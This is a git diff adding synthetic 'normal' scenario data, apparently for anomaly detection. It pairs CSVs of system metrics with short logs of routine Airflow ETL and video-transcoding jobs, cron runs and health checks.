kubelet[2345]: INFO Liveness probe succeeded for pod airflow-worker +Aug 27 10:06:35 airflow-worker[6789]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:06:40 airflow-scheduler[5432]: INFO: DAG 'daily_user_profile_etl' finished successfully +Aug 27 10:06:55 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 27 10:07:10 systemd[1]: Starting daily clean up activities... +Aug 27 10:07:25 CRON[3855]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_11/norm_11_9.csv b/norm_dataset/scenario_11/norm_11_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..a20baa6dba681ab872320461a549c3d5f418e141 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,11.173917230535844,25.470587505883167,10.945157625818632,1.2454253615452582,1.1920085473002875 +2025-08-27T10:00:05Z,7.597945060250446,20.84249863634347,11.035488780407013,0.7417689971920731,0.5104479667052498 +2025-08-27T10:00:10Z,5.473281709092433,29.247539741610844,16.420711908448993,1.1324281584693516,0.5922638104520165 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--- /dev/null +++ b/norm_dataset/scenario_11/norm_11_9.log @@ -0,0 +1,20 @@ +Aug 27 10:00:10 airflow-scheduler[5432]: INFO: Sending {task_instance_key_str} to executor. +Aug 27 10:00:25 airflow-worker[6789]: INFO: Executing {task_instance_key_str} +Aug 27 10:00:50 CRON[1234]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:15 airflow-scheduler[5432]: INFO: Triggering DAG daily_user_profile_etl at 2025-08-27T10:01:15 +Aug 27 10:01:20 airflow-dag-processor[4321]: INFO: DAG 'daily_user_profile_etl' found, processing... +Aug 27 10:01:30 airflow-worker[6789]: INFO: Starting DAG 'daily_user_profile_etl'. Run ID: scheduled__2025-08-27T10:01:15 +Aug 27 10:01:40 airflow-worker[6789]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:02:10 airflow-worker[6789]: INFO: [extract_from_postgres] Connecting to PostgreSQL database... +Aug 27 10:02:30 airflow-worker[6789]: INFO: [extract_from_postgres] Extraction of 500000 rows from 'users' table completed. +Aug 27 10:02:50 airflow-worker[6789]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:03:00 airflow-worker[6789]: INFO: Task 'transform_user_data' running... +Aug 27 10:03:45 airflow-worker[6789]: INFO: [transform_user_data] Applying transformation: anonymize_pii +Aug 27 10:04:35 airflow-worker[6789]: INFO: [transform_user_data] Applying transformation: aggregate_user_sessions +Aug 27 10:05:20 airflow-worker[6789]: INFO: Task 'transform_user_data' succeeded. +Aug 27 10:05:30 airflow-worker[6789]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:05:50 airflow-worker[6789]: INFO: [load_to_bigquery] Authenticating with Google Cloud... +Aug 27 10:06:00 airflow-worker[6789]: INFO: [load_to_bigquery] Starting BigQuery load job... +Aug 27 10:06:10 airflow-worker[6789]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:06:20 airflow-scheduler[5432]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 10:07:05 CRON[1235]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_12/norm_12_1.csv b/norm_dataset/scenario_12/norm_12_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..f44b5300397bf964cc291daec819b529063b2504 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,9.42,40.97,23.83,1.58,1.03 +2025-07-15T14:30:05Z,9.11,35.3,30.65,1.47,0.8 +2025-07-15T14:30:10Z,12.5,33.04,35.94,1.39,1.13 +2025-07-15T14:30:15Z,9.28,34.62,23.61,1.39,1.18 +2025-07-15T14:30:20Z,6.94,32.07,31.68,2.12,0.98 +2025-07-15T14:30:25Z,10.13,32.8,26.82,1.49,0.84 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+2025-07-15T14:37:10Z,12.92,32.66,33.8,1.47,0.69 +2025-07-15T14:37:15Z,6.78,37.49,41.68,1.23,0.85 +2025-07-15T14:37:20Z,10.8,30.96,29.28,1.33,1.44 +2025-07-15T14:37:25Z,12.05,32.22,28.2,1.15,1.37 diff --git a/norm_dataset/scenario_12/norm_12_1.log b/norm_dataset/scenario_12/norm_12_1.log new file mode 100644 index 0000000000000000000000000000000000000000..8aee2e3145fabaf3d620e6048437192fc55b98f1 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_1.log @@ -0,0 +1,18 @@ +Jul 15 14:30:00 systemd[1]: Starting daily clean up activities... +Jul 15 14:30:00 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:31:05 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:31:20 task-queue[4567]: INFO Received new video upload 'vacation_highlights.mov'. Queueing for transcoding. +Jul 15 14:31:25 transcoder-worker[8899]: INFO Starting transcoding job #1138 for 'vacation_highlights.mov'. +Jul 15 14:31:25 transcoder-worker[8899]: INFO FFmpeg process started with PID 9123. +Jul 15 14:31:40 systemd[1]: Starting daily clean up activities... +Jul 15 14:32:10 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:32:55 transcoder-worker[8899]: INFO Transcoding to 720p successful. +Jul 15 14:33:15 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:33:20 systemd[1]: Starting daily clean up activities... +Jul 15 14:34:20 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:34:35 transcoder-worker[8899]: INFO Transcoding to 480p successful. +Jul 15 14:35:00 systemd[1]: Starting daily clean up activities... +Jul 15 14:35:25 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:35:55 transcoder-worker[8899]: INFO Transcoding job #1138 for 'vacation_highlights.mov' finished successfully. +Jul 15 14:36:30 kubelet[2345]: INFO Liveness probe succeeded for pod transcoder-worker-xyz +Jul 15 14:36:40 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_12/norm_12_10.csv b/norm_dataset/scenario_12/norm_12_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..d1d4c080f4c941e27741fb567528bc93a97fec85 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,13.296419962545803,31.548786579400932,5.913728758447515,0.6794676803800463,1.1019134729639721 +2025-07-15T14:00:05Z,13.318082086978634,31.423808084256546,13.931075540876126,0.8007340899599605,1.121969164510115 +2025-07-15T14:00:10Z,7.0652801709004285,35.494020149294954,7.3939625800598785,1.0483850845048142,0.5750249846482741 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0000000000000000000000000000000000000000..005ef28d11f997665262833a450e137ae2784d43 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_10.log @@ -0,0 +1,14 @@ +Jul 15 14:00:10 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:40 queue-manager[8080]: INFO: Received new video upload 'wedding_final.mp4'. Queueing for transcoding. +Jul 15 14:00:40 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 15 14:01:00 transcode-worker[9520]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Jul 15 14:01:10 transcode-worker[9520]: INFO: FFmpeg process started with pid 9525. +Jul 15 14:02:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:40 transcode-worker[9520]: INFO: Job #555: Transcoding to 720p successful. +Jul 15 14:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 15 14:04:00 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 15 14:04:45 transcode-worker[9520]: INFO: Job #555: Transcoding to 480p successful. +Jul 15 14:05:00 systemd[1]: Starting session c2 of user admin. +Jul 15 14:06:40 transcode-worker[9520]: INFO: Job #555: Transcoding to 1080p successful. +Jul 15 14:07:00 transcode-worker[9520]: INFO: Transcoding job #555 finished successfully. Total time: 360s. +Jul 15 14:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_11.csv b/norm_dataset/scenario_12/norm_12_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..5c2cade88f96c76e2b17e760c7eb124c5b9c7cca --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,8.09,26.3,5.47,0.92,0.51 +2025-08-27T10:00:05Z,7.89,27.22,8.39,0.77,0.96 +2025-08-27T10:00:10Z,8.63,25.21,7.64,0.88,0.6 +2025-08-27T10:00:15Z,7.93,28.87,8.17,0.87,0.61 +2025-08-27T10:00:20Z,8.96,32.45,12.58,90.02,0.54 +2025-08-27T10:00:25Z,5.85,33.22,12.33,82.62,0.86 +2025-08-27T10:00:30Z,7.85,31.92,14.95,90.36,0.52 +2025-08-27T10:00:35Z,7.56,31.55,9.76,87.69,0.62 +2025-08-27T10:00:40Z,9.87,33.52,12.14,81.66,0.69 +2025-08-27T10:00:45Z,88.44,49.44,174.53,0.75,0.73 +2025-08-27T10:00:50Z,91.76,48.1,191.08,0.5,0.86 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+2025-08-27T10:07:20Z,7.15,29.49,7.65,0.65,0.85 +2025-08-27T10:07:25Z,9.53,26.84,11.12,0.7,0.88 diff --git a/norm_dataset/scenario_12/norm_12_11.log b/norm_dataset/scenario_12/norm_12_11.log new file mode 100644 index 0000000000000000000000000000000000000000..ed689910cc6bbe8bb8db920371d7bd2d31f82d46 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_11.log @@ -0,0 +1,20 @@ +Aug 27 10:00:00 api-server[4561]: GET /api/v1/status status=200 OK +Aug 27 10:00:15 CRON[7788]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:00:20 api-server[4561]: INFO: Received new video upload 'wedding_final.mp4'. +Aug 27 10:00:25 api-server[4561]: INFO: User 'john_doe' uploaded 'wedding_final.mp4' (2.3GB). +Aug 27 10:00:30 task-queue[9012]: INFO: Received new task: Transcode video 'wedding_final.mp4'. Job ID: 555. +Aug 27 10:00:45 transcoding-worker[3345]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 27 10:00:50 transcoding-worker[3345]: INFO: FFmpeg process started with pid 3350. +Aug 27 10:01:00 transcoding-worker[3350]: [ffmpeg] Reading source file 'wedding_final.mp4'. +Aug 27 10:01:10 transcoding-worker[3350]: [ffmpeg] Starting transcode to 720p. +Aug 27 10:02:15 api-server[4561]: GET /api/v1/jobs/555/status status=200 OK +Aug 27 10:03:15 transcoding-worker[3350]: [ffmpeg] Transcoding to 720p successful. Output: 'wedding_final_720p.mp4'. +Aug 27 10:03:20 transcoding-worker[3350]: [ffmpeg] Starting transcode to 480p. +Aug 27 10:04:15 systemd[1]: Starting daily clean up activities... +Aug 27 10:05:15 transcoding-worker[3350]: [ffmpeg] Transcoding to 480p successful. Output: 'wedding_final_480p.mp4'. +Aug 27 10:05:45 transcoding-worker[3345]: INFO: FFmpeg process 3350 finished with exit code 0. +Aug 27 10:05:50 transcoding-worker[3345]: INFO: Transcoding job #555 for 'wedding_final.mp4' finished successfully. +Aug 27 10:05:55 task-queue[9012]: INFO: Job #555 completed. Notifying user 'john_doe'. +Aug 27 10:06:00 notification-service[6543]: INFO: Sent 'transcoding_complete' email to john_doe@example.com. +Aug 27 10:06:45 api-server[4561]: GET /api/v1/status status=200 OK +Aug 27 10:07:05 CRON[7999]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_12/norm_12_12.csv b/norm_dataset/scenario_12/norm_12_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..3730af7cf9acf068752af5a0256b2c8703d2be5a --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.38,44.23,25.21,1.08,0.82 +2025-08-27T10:00:05Z,19.93,43.1,24.03,0.73,1.01 +2025-08-27T10:00:10Z,17.15,36.43,33.69,0.62,1.4 +2025-08-27T10:00:15Z,14.45,41.12,23.49,0.52,1.25 +2025-08-27T10:00:20Z,11.54,40.88,30.54,1.35,0.56 +2025-08-27T10:00:25Z,14.99,44.58,33.5,1.38,1.15 +2025-08-27T10:00:30Z,18.13,37.44,25.78,0.92,0.69 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+2025-08-27T10:07:15Z,12.34,40.38,34.7,0.77,1.23 +2025-08-27T10:07:20Z,10.23,43.29,30.07,0.51,0.56 +2025-08-27T10:07:25Z,12.84,38.45,25.54,0.69,0.74 diff --git a/norm_dataset/scenario_12/norm_12_12.log b/norm_dataset/scenario_12/norm_12_12.log new file mode 100644 index 0000000000000000000000000000000000000000..0fcf0092a43b96e29abffea6836e92e20ec6e384 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_12.log @@ -0,0 +1,18 @@ +Aug 27 10:00:10 systemd[1]: Starting daily user session cleaning... +Aug 27 10:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:01:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:40 web-app[1234]: INFO: Received new video upload 'vacation_highlights.mov'. Queueing for transcoding. +Aug 27 10:01:45 transcoding-worker[6789]: INFO: Starting transcoding job #789 for 'vacation_highlights.mov'. +Aug 27 10:01:50 transcoding-worker[6789]: INFO: FFmpeg process started for 1080p output. +Aug 27 10:02:30 kubelet[2345]: INFO: Liveness probe succeeded for pod web-app-pod +Aug 27 10:03:00 transcoding-worker[6789]: INFO: Transcoding to 1080p successful. +Aug 27 10:03:05 transcoding-worker[6789]: INFO: FFmpeg process started for 720p output. +Aug 27 10:03:45 web-app[1234]: GET /api/v1/status/789 status=200 OK +Aug 27 10:04:15 transcoding-worker[6789]: INFO: Transcoding to 720p successful. +Aug 27 10:04:20 transcoding-worker[6789]: INFO: FFmpeg process started for 480p output. +Aug 27 10:05:00 transcoding-worker[6789]: INFO: Transcoding to 480p successful. +Aug 27 10:05:05 transcoding-worker[6789]: INFO: All transcoding jobs for 'vacation_highlights.mov' completed. +Aug 27 10:05:10 web-app[1234]: INFO: Notifying user about completed transcoding job #789. +Aug 27 10:05:50 kubelet[2345]: INFO: Liveness probe succeeded for pod transcoding-worker-pod +Aug 27 10:06:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:07:05 systemd[1]: Finished daily user session cleaning. diff --git a/norm_dataset/scenario_12/norm_12_13.csv b/norm_dataset/scenario_12/norm_12_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..c7f6fc3bfecbc50c3f013a2a9cc7d0624c55ce15 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,11.173917230535844,30.470587505883167,10.945157625818632,1.2454253615452582,1.1920085473002875 +2025-08-15T10:00:05Z,7.597945060250446,25.84249863634347,11.035488780407013,0.7417689971920731,0.5104479667052498 +2025-08-15T10:00:10Z,5.473281709092433,34.247539741610844,16.420711908448993,1.1324281584693516,0.5922638104520165 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0000000000000000000000000000000000000000..c1520d64cc1fcaa05d1359d84d6ee1241a256c90 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_13.log @@ -0,0 +1,18 @@ +Aug 15 10:00:05 systemd[1]: Starting daily user session cleaning... +Aug 15 10:00:30 web-api[4567]: GET /api/v2/status status=200 OK +Aug 15 10:01:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:30 kubelet[1122]: INFO Liveness probe succeeded for pod web-api-pod +Aug 15 10:01:50 web-api[4567]: INFO: Received new video upload 'wedding_final.mp4'. Queueing for transcoding. +Aug 15 10:02:00 transcoding-worker[8899]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 15 10:02:02 transcoding-worker[8899]: INFO: FFmpeg process started for job #555. +Aug 15 10:02:30 systemd[1]: Starting clean up of old temporary files... +Aug 15 10:03:10 kubelet[1122]: INFO Liveness probe succeeded for pod transcoding-worker-pod +Aug 15 10:04:00 transcoding-worker[8899]: INFO: Transcoding 'wedding_final.mp4' to 1080p successful. +Aug 15 10:04:50 web-api[4567]: GET /api/v2/status status=200 OK +Aug 15 10:05:30 transcoding-worker[8899]: INFO: Transcoding 'wedding_final.mp4' to 720p successful. +Aug 15 10:06:10 kubelet[1122]: INFO Liveness probe succeeded for pod transcoding-worker-pod +Aug 15 10:06:20 transcoding-worker[8899]: INFO: Transcoding 'wedding_final.mp4' to 480p successful. +Aug 15 10:06:30 transcoding-worker[8899]: INFO: Transcoding job #555 completed successfully. +Aug 15 10:06:45 web-api[4567]: POST /api/v2/notifications status=202 Accepted +Aug 15 10:07:05 kubelet[1122]: INFO Liveness probe succeeded for pod web-api-pod +Aug 15 10:07:25 systemd[1]: Finished daily user session cleaning. diff --git a/norm_dataset/scenario_12/norm_12_14.csv b/norm_dataset/scenario_12/norm_12_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..b9e6d4e4b8b3f21a1ee9b790f8c92a15da3c296f --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,12.16,41.93,10.79,1.51,0.97 +2025-08-27T10:00:05Z,16.39,34.36,7.09,1.31,0.94 +2025-08-27T10:00:10Z,15.12,36.18,9.79,1.55,1.06 +2025-08-27T10:00:15Z,14.25,36.75,9.8,1.68,0.89 +2025-08-27T10:00:20Z,11.07,37.05,12.27,0.99,1.0 +2025-08-27T10:00:25Z,13.65,42.57,9.89,48.74,0.56 +2025-08-27T10:00:30Z,16.59,36.52,11.08,53.85,1.02 +2025-08-27T10:00:35Z,15.17,44.26,12.43,46.97,1.09 +2025-08-27T10:00:40Z,16.76,48.34,11.88,44.38,1.0 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+2025-08-27T10:07:10Z,14.97,40.69,9.31,1.84,0.99 +2025-08-27T10:07:15Z,17.03,42.24,13.16,1.55,1.04 +2025-08-27T10:07:20Z,15.17,39.73,8.99,1.95,0.65 +2025-08-27T10:07:25Z,16.67,43.55,9.0,1.68,1.14 diff --git a/norm_dataset/scenario_12/norm_12_14.log b/norm_dataset/scenario_12/norm_12_14.log new file mode 100644 index 0000000000000000000000000000000000000000..7ad9a608b4078d6dfeaa5525add96214a706d156 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_14.log @@ -0,0 +1,20 @@ +Aug 27 10:00:00 systemd[1]: Starting daily user session maintenance... +Aug 27 10:00:30 api-server[4567]: INFO User 'alex' initiated upload for 'family_vacation_4k.mov'. +Aug 27 10:00:45 api-server[4567]: INFO Received new video upload 'family_vacation_4k.mov'. Queueing for transcoding. JobID: 8821. +Aug 27 10:00:55 transcoding-worker[8890]: INFO: Received new transcoding job #8821 for 'family_vacation_4k.mov'. +Aug 27 10:01:00 transcoding-worker[8890]: INFO: Starting transcoding job #8821 for 'family_vacation_4k.mov'. +Aug 27 10:01:05 transcoding-worker[8890]: INFO: FFmpeg process started. Reading source file. +Aug 27 10:01:30 kernel: INFO: task ffmpeg:8892 blocked for more than 120 seconds. +Aug 27 10:02:05 transcoding-worker[8890]: INFO: [Job #8821] Progress: 15% - Transcoding to 1080p. +Aug 27 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod transcoding-worker-pod +Aug 27 10:03:10 transcoding-worker[8890]: INFO: [Job #8821] Progress: 35% - Transcoding to 720p. +Aug 27 10:03:45 systemd[1]: Starting hourly clean up activities... +Aug 27 10:04:10 transcoding-worker[8890]: INFO: [Job #8821] Transcoding to 1080p successful. Output: 'family_vacation_4k_1080p.mp4'. +Aug 27 10:04:20 transcoding-worker[8890]: INFO: [Job #8821] Progress: 60% - Transcoding to 480p. +Aug 27 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod transcoding-worker-pod +Aug 27 10:05:40 transcoding-worker[8890]: INFO: [Job #8821] Transcoding to 720p successful. Output: 'family_vacation_4k_720p.mp4'. +Aug 27 10:06:00 transcoding-worker[8890]: INFO: [Job #8821] Transcoding to 480p successful. Output: 'family_vacation_4k_480p.mp4'. +Aug 27 10:06:05 transcoding-worker[8890]: INFO: [Job #8821] All formats processed. Starting cleanup. +Aug 27 10:06:15 transcoding-worker[8890]: INFO: Transcoding job #8821 for 'family_vacation_4k.mov' finished successfully. +Aug 27 10:06:20 api-server[4567]: INFO: [Job #8821] Transcoding complete. Notifying user 'alex'. +Aug 27 10:07:05 systemd[1]: Finished daily user session maintenance. diff --git a/norm_dataset/scenario_12/norm_12_15.csv b/norm_dataset/scenario_12/norm_12_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..6880a17841f01b36a28213f234f82b30e53368f7 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,7.15653377687776,35.64447445635805,16.18359208007371,1.5091699050818546,0.9680891545789992 +2025-08-15T10:00:05Z,11.389640985529626,33.11996623230282,10.635020772839477,1.3736620496302177,0.9445570837433321 +2025-08-15T10:00:10Z,10.124060364924539,33.72505563887701,14.688485742849064,1.5365015311464931,1.0581785397992087 +2025-08-15T10:00:15Z,9.250505768245475,33.915322860822066,14.702832759130555,1.619119366561999,0.888554656440594 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+2025-08-15T10:07:00Z,8.144841630839235,36.054108198096245,19.442375753891387,1.2461640952821247,1.0716803236545447 +2025-08-15T10:07:05Z,10.442577471467855,34.94911748560283,20.947219881212476,1.5212076299163857,0.7780263590948859 +2025-08-15T10:07:10Z,9.972749345384473,35.229662767757006,13.96487455496578,1.7267498503410883,0.993445605545995 +2025-08-15T10:07:15Z,12.030915446331145,35.74626226801709,19.74461516398679,1.5348607186976655,1.0366740490690491 +2025-08-15T10:07:20Z,10.172895719218486,34.90898272922039,13.489845225303986,1.8009679355195563,0.6527429251948003 +2025-08-15T10:07:25Z,11.673526531040963,36.18446486699597,13.495203791237707,1.6193035269287983,1.1356720234025042 diff --git a/norm_dataset/scenario_12/norm_12_15.log b/norm_dataset/scenario_12/norm_12_15.log new file mode 100644 index 0000000000000000000000000000000000000000..ebd8b182f5839cafed28b10211631ea4d79af1e9 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_15.log @@ -0,0 +1,17 @@ +Aug 15 10:00:10 systemd[1]: Starting daily user-level cleanup... +Aug 15 10:00:50 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 10:01:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:00 web-app[3456]: INFO: Received new video upload 'family_vacation.mov'. Queueing for transcoding. +Aug 15 10:02:05 transcoding-worker[4567]: INFO: Starting transcoding job #1234 for 'family_vacation.mov'. +Aug 15 10:02:10 transcoding-worker[4567]: INFO: FFmpeg process started with pid 5678. +Aug 15 10:02:30 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:03:20 transcoding-worker[4567]: INFO: Transcoding 'family_vacation.mov' to 1080p successful. +Aug 15 10:03:45 kubelet[1234]: INFO Liveness probe succeeded for pod transcoding-worker-pod +Aug 15 10:04:10 transcoding-worker[4567]: INFO: Transcoding 'family_vacation.mov' to 720p successful. +Aug 15 10:04:50 transcoding-worker[4567]: INFO: Transcoding 'family_vacation.mov' to 480p successful. +Aug 15 10:04:55 transcoding-worker[4567]: INFO: All formats for job #1234 completed. +Aug 15 10:05:00 transcoding-worker[4567]: INFO: Moving transcoded files to storage bucket 's3://video-output'. +Aug 15 10:05:05 web-app[3456]: INFO: Notification sent to user about completed transcoding for 'family_vacation.mov'. +Aug 15 10:05:50 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 15 10:06:15 web-app[3456]: GET /api/v1/user/42 status=200 OK +Aug 15 10:07:05 CRON[7890]: (root) CMD ( /usr/sbin/anacron -s) diff --git a/norm_dataset/scenario_12/norm_12_16.csv b/norm_dataset/scenario_12/norm_12_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..ba6b6cac515ea6496a3fafba63c0c3c785b95672 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,11.17,40.47,5.95,1.25,1.19 +2025-08-27T10:00:05Z,7.6,35.84,6.04,0.74,0.51 +2025-08-27T10:00:10Z,5.47,44.25,11.42,1.13,0.59 +2025-08-27T10:00:15Z,13.43,42.59,8.56,1.08,0.77 +2025-08-27T10:00:20Z,5.24,35.97,9.51,1.01,1.06 +2025-08-27T10:00:25Z,10.79,38.79,11.02,53.34,1.34 +2025-08-27T10:00:30Z,9.45,38.83,9.73,57.39,0.86 +2025-08-27T10:00:35Z,8.39,44.47,12.15,72.03,0.73 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+2025-08-27T10:07:10Z,9.74,35.37,7.54,1.25,0.76 +2025-08-27T10:07:15Z,14.95,38.31,5.73,1.0,1.23 +2025-08-27T10:07:20Z,5.51,39.66,14.82,0.97,1.16 +2025-08-27T10:07:25Z,14.75,41.62,13.94,0.98,0.93 diff --git a/norm_dataset/scenario_12/norm_12_16.log b/norm_dataset/scenario_12/norm_12_16.log new file mode 100644 index 0000000000000000000000000000000000000000..01b27b5fa33e5ccb142b71407a89d0ea2607426b --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_16.log @@ -0,0 +1,20 @@ +Aug 27 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 27 10:00:40 worker[5678]: INFO: Received new video upload 'wedding_final.mp4' from user 'john_doe'. +Aug 27 10:00:50 worker[5678]: INFO: Queuing transcoding job for 'wedding_final.mp4'. +Aug 27 10:01:00 worker[5678]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 27 10:01:10 worker[5678]: INFO: FFmpeg process started with PID 9876. +Aug 27 10:01:40 worker[5678]: INFO: Source video 'wedding_final.mp4' opened successfully. +Aug 27 10:02:05 worker[5678]: INFO: Transcoding 'wedding_final.mp4' to 1080p... +Aug 27 10:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:03:20 worker[5678]: INFO: Transcoding to 1080p successful. Output: 'wedding_final_1080p.mp4'. +Aug 27 10:03:30 worker[5678]: INFO: Transcoding 'wedding_final.mp4' to 720p... +Aug 27 10:04:50 worker[5678]: INFO: Transcoding to 720p successful. Output: 'wedding_final_720p.mp4'. +Aug 27 10:05:00 worker[5678]: INFO: Transcoding 'wedding_final.mp4' to 480p... +Aug 27 10:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:05:40 worker[5678]: INFO: Transcoding to 480p successful. Output: 'wedding_final_480p.mp4'. +Aug 27 10:05:50 worker[5678]: INFO: All transcoding tasks for job #555 completed. +Aug 27 10:06:00 worker[5678]: INFO: FFmpeg process with PID 9876 finished. +Aug 27 10:06:15 worker[5678]: INFO: Notifying user 'john_doe' about transcoding completion. +Aug 27 10:06:40 systemd[1]: Daily clean up activities finished. +Aug 27 10:07:05 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_17.csv b/norm_dataset/scenario_12/norm_12_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..047826dcdd92cb7c007710a9bd1e05b422c66dc6 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,13.76,42.68,8.33,1.33,1.13 +2025-08-27T10:00:05Z,11.16,42.75,5.59,1.32,0.53 +2025-08-27T10:00:10Z,8.42,43.63,9.38,0.77,0.69 +2025-08-27T10:00:15Z,10.44,37.29,9.2,0.54,0.85 +2025-08-27T10:00:20Z,14.11,43.04,6.76,0.92,1.19 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+2025-08-27T10:07:05Z,11.57,39.44,9.93,0.71,1.03 +2025-08-27T10:07:10Z,9.31,35.94,7.88,1.16,1.13 +2025-08-27T10:07:15Z,10.42,43.63,5.82,1.18,1.39 +2025-08-27T10:07:20Z,12.49,44.77,6.73,1.06,1.28 +2025-08-27T10:07:25Z,14.51,44.3,8.64,1.21,1.1 diff --git a/norm_dataset/scenario_12/norm_12_17.log b/norm_dataset/scenario_12/norm_12_17.log new file mode 100644 index 0000000000000000000000000000000000000000..ac1b4f53ec1a7ea5f52461e568bee1ef2b565d26 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_17.log @@ -0,0 +1,12 @@ +Jul 27 10:00:55 transcoding-queue[887]: INFO: Received new video upload 'family_vacation.mov'. Queueing for transcoding. +Jul 27 10:01:10 transcoding-worker[1521]: INFO: Starting transcoding job #123 for 'family_vacation.mov'. +Jul 27 10:01:15 transcoding-worker[1521]: INFO: FFmpeg process started for job #123. +Jul 27 10:02:40 transcoding-worker[1521]: INFO: Transcoding 'family_vacation.mov' to 1080p successful. +Jul 27 10:04:10 transcoding-worker[1521]: INFO: Transcoding 'family_vacation.mov' to 720p successful. +Jul 27 10:05:40 transcoding-worker[1521]: INFO: Transcoding 'family_vacation.mov' to 480p successful. +Jul 27 10:06:10 transcoding-worker[1521]: INFO: FFmpeg process for job #123 finished. +Jul 27 10:06:15 transcoding-worker[1521]: INFO: Transcoding job #123 for 'family_vacation.mov' completed successfully. Output files saved to storage. +Aug 27 10:00:00 